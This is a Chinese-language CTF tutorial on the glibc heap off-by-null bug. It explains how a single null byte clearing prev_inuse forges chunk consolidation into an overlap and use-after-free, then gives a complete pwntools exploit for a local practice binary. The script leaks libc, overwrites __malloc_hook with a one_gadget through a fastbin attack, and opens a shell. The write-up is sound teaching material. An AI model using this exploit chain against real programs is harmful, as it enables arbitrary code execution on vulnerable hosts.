堆漏洞offbynull
- offbynull是offbyone的特殊情形,溢出的字节不能被我们所控制,只能溢出一个\x00,但是依然是可以利用的。现实中更为常见,因为字符串截断会在末尾加个空字符,如果边界检查不严格,就会出现offbynull。offbynull比起常规的offbyone利用方式稍微复杂一些,但是归究其本质,都是构造一个UAF供我们使用。
由于溢出字节只能是\x00,所以思路通常是改变其prev inuse位,通过合并构造overlap,然后构造UAF。
0x01 offbynull原理讲解
假设此时有四个0x100的堆块A、B、C、D:
我们在B中输入 ‘A’*0x90 + p64(0x200) + ‘\x00’,此时的内存布局如下:
可以看到c的previnuse位被改成了0,也就是说,程序会将B看作已经被释放的堆块,但实际它并没有被释放。在这里,我们将其改成了0x200,也就是说定位到了A堆块。但是A堆块明明没有被free,这时候我们如果free C会出现异常。我们需要做的就是骗系统,绕过检查,其实我们需要做的仅仅就是先将A free掉
放入unsortedbin,这时候再free C,就会触发合并操作。触发合并操作后,ABC会被看作一个大小为0x300的堆块放入unsortedbin中。然而实际上,B并没有被free,我们也就通过这样的方式构造了overlap。然后后续的操作也就和offbyone一样,通过overlap构造uaf,进而完成利用。
在实际运用时,不局限都是0x100的,可以是中间的某个堆块是fast chunk也行,但是第一个在头的必须得是unsorted chunk大小的堆块,否则无法触发合并。
0x02 offbynull例题解析
环境:本地 Ubuntu16.04
例题:offbynull
这里要特别说明,这题有点奇怪,如果用3个堆块进行构造overlap就会在free报错(不晓得为什么),但是用四个堆块就没问题,并且相对于前面的博客来看这里unsortbin释放后的fd指针指向的位置不是main_arena+88也很奇怪,可能是例题问题吧,可以自己调试看看。
from pwn import*
io=process('./offbynull')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
context.log_level='debug'
def p():
gdb.attach(io)
pause()
def choice(i):
io.sendlineafter('4:delete',str(i))
def add(index,size,content):
choice(1)
io.sendlineafter('index:',str(index))
io.sendlineafter('size:',str(size))
io.sendafter('content:',content)
def show(index):
choice(2)
io.sendlineafter('index:',str(index))
def edit(index,content):
choice(3)
io.sendlineafter('index:',str(index))
io.sendafter('content:',content)
def free(index):
choice(4)
io.sendlineafter('index:',str(index))
add(0,0x100,'aaaa') #用于泄露libc地址
add(1,0xf8,'aaaa')
add(2,0x68,'aaaa')
add(3,0xf8,'aaaa')
add(4,0xf8,'aaaa') #4往上合并到1
add(5,0xf8,'aaaa') #防止和topchunk合并
free(0)
add(0,0x100,p64(0))
show(0)
leak=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base=leak-0x3c4b00 #unsortbin fd指针改变位置了,可以调试一下,libc基地址一般都是以000结尾
print(hex(libc_base))
malloc=libc_base+libc.symbols['__malloc_hook']
realloc=libc_base+libc.symbols['realloc']
fake_chunk=malloc-0x23
payload=b'a'*0xb+p64(libc_base+0x4527a)+p64(realloc+8)
free(3)
add(3,0xf8,b'a'*0xf0+p64(0x270)) #重新申请过3,因为漏洞出现在add,如果在上面就这样申请,会发现不会成功get shell
free(1) #先释放1,否则报错
free(4) #1~4放入unsortbin
free(2) #将chunk 2放入fastbin
add(1,0x160,b'a'*0xf8+p64(0x71)+p64(fake_chunk)) #申请的堆块从unsortbin切割0x160,正好切割到chunk 2
add(6,0x60,'aaaa')
add(7,0x60,payload)
choice(1)
io.sendlineafter('index:','8')
io.sendlineafter('size:','0x10')
io.interactive()
结束